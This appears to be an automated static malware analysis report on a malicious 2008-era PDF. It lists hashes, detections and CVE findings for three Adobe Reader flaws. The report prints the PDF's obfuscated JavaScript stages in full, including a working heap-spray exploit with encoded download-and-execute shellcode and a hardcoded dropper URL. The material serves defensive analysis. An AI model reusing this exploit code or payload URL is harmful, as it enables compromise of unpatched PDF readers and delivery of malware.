Malicious PDF — malware analysis report

Static analysis result for SHA-256 f51e8cd8f6d422a0…

MALICIOUS

PDF

4.2 KB Created: 2008-09-24 19:47:56 Authoring application: Adobe First seen: 2012-07-12
MD5: 8e56aeeb82a681bbb791e15b7fb0591e SHA-1: 02be071c64923c8ba475f44ff66f67b4822dfb54 SHA-256: f51e8cd8f6d422a094efe8ba3a9d15cc54c05aad3fef38233c9baa62abaa7985
650 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 JavaScript/JScript T1204.002 Malicious JavaScript

This PDF file contains multiple critical heuristic firings indicating exploitation of CVE-2009-4324, CVE-2009-0927, and CVE-2007-5659 through embedded and obfuscated JavaScript. The JavaScript is deobfuscated and contains calls to eval() and unescape(), typical of exploit delivery. ClamAV detections on both the PDF and an extracted JavaScript artifact (Js.Exploit.Shellcode-18) confirm its malicious nature. The primary function appears to be dropping a secondary payload, as indicated by the ClamAV signature 'Pdf.Dropper.Agent-7324025-0'.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • ClamAV: Pdf.Dropper.Agent-7324025-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Dropper.Agent-7324025-0
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    eval(vvv);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://spl0a.in/root/load.php?spl=pdf_new Referenced by PDF JavaScript
    • http://spl0a.in/root/load.php?spl=pdf_packReferenced by PDF JavaScript

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0006_000.js pdf-javascript-stream PDF /JS object 6 at offset 0xC73 59 bytes
SHA-256: 29c42e175a66272faee8b4e921f8a0f5cc81aacff43ba21aeba94ae41a8cbda5
Preview script
First 1,000 lines of the extracted script
var z = unescape;var prcnt = '%';
var ks = eval;
javascript_obj0016_001.js pdf-javascript-stream PDF /JS object 16 at offset 0xCFE 135 bytes
SHA-256: d81958cb14f3fe4b74fb1c1a9eb6b6d29bb2e1f0e617f023169be6a773575fdb
Preview script
First 1,000 lines of the extracted script
ks('var codes = this.in'+z("%66%6f%2e%61%75%74")+'hor;');

var xxx = ks('codes.re'+'pl'+'ac'+'e('+'/lka1/g'+',prcnt)');
javascript_obj0026_002.js pdf-javascript-stream PDF /JS object 26 at offset 0xDCC 47 bytes
SHA-256: 30439b6e1eef14d16582940e17a06cf57a4d10a6eb05968af29c2845092822d4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var vvv = z(unescape(xxx));
eval(vvv);
legacy_pdfkit_stage_000.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x23B 6358 bytes
SHA-256: 164a43e4741d45bd99fc4ef9d278a827c028425adfece16c6df7b52b513288ca
Detection
ClamAV: Js.Exploit.Shellcode-18
Obfuscation or payload: likely
Carved artifact contains 12 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}yarsp=yarsp.substring(0,len/2);return yarsp;}  function printd(){var shellcode = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u732F%u6C70%u6130%u692E%u2F6E%u6F72%u746F%u6C2F%u616F%u2E64%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u656E%u0077");var block = unescape("%u0c0c%u0c0c");var GDagaCuyNfRSFzaSZLO = unescape("%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u514e%u4865%u4844%u724f%u4a6e%u6d43%u4b51%u4b79%u7156%u4d41%u5944%u596b%u7979%u625a%u626f%u7a6e%u634e%u4a4d%u6341%u6253%u4154%u5670%u5543%u4273%u4c51%u576d%u5772%u5670");while(block.length <= 32768) block+=block;block=block.substring(0,32768 - shellcode.length);memory=new Array();for(i=0;i<0x2000;i++) {memory[i]= block + shellcode;}util.printd("rlpPpjTXXIncUhwagCzcuHfmkzObBSZDGNdC", new Date());util.printd("SotSxNQvMqKNjJkIXioKlmfZYfmiPGgGNNKn", new Date());try {this.media.newPlayer(null);} catch(e) {}util.printd(GDagaCuyNfRSFzaSZLO, new Date());}  function util_printf(){var payload=unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u732F%u6C70%u6130%u692E%u2F6E%u6F72%u746F%u6C2F%u616F%u2E64%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u6170%u6B63");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");  var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}  var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}  var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}  var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f",num);}  function collab_email(){var shellcode=unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u732F%u6C70%u6130%u692E%u2F6E%u6F72%u746F%u6C2F%u616F%u2E64%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u6170%u6B63");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}  var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}  this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}  function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u732F%u6C70%u6130%u692E%u2F6E%u6F72%u746F%u6C2F%u616F%u2E64%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u6170%u6B63");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}  var tUMhNbGw=unescape("	");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}  tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}  function PPPDDDFF(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}  if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}  if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}  printd();  }  PPPDDDFF();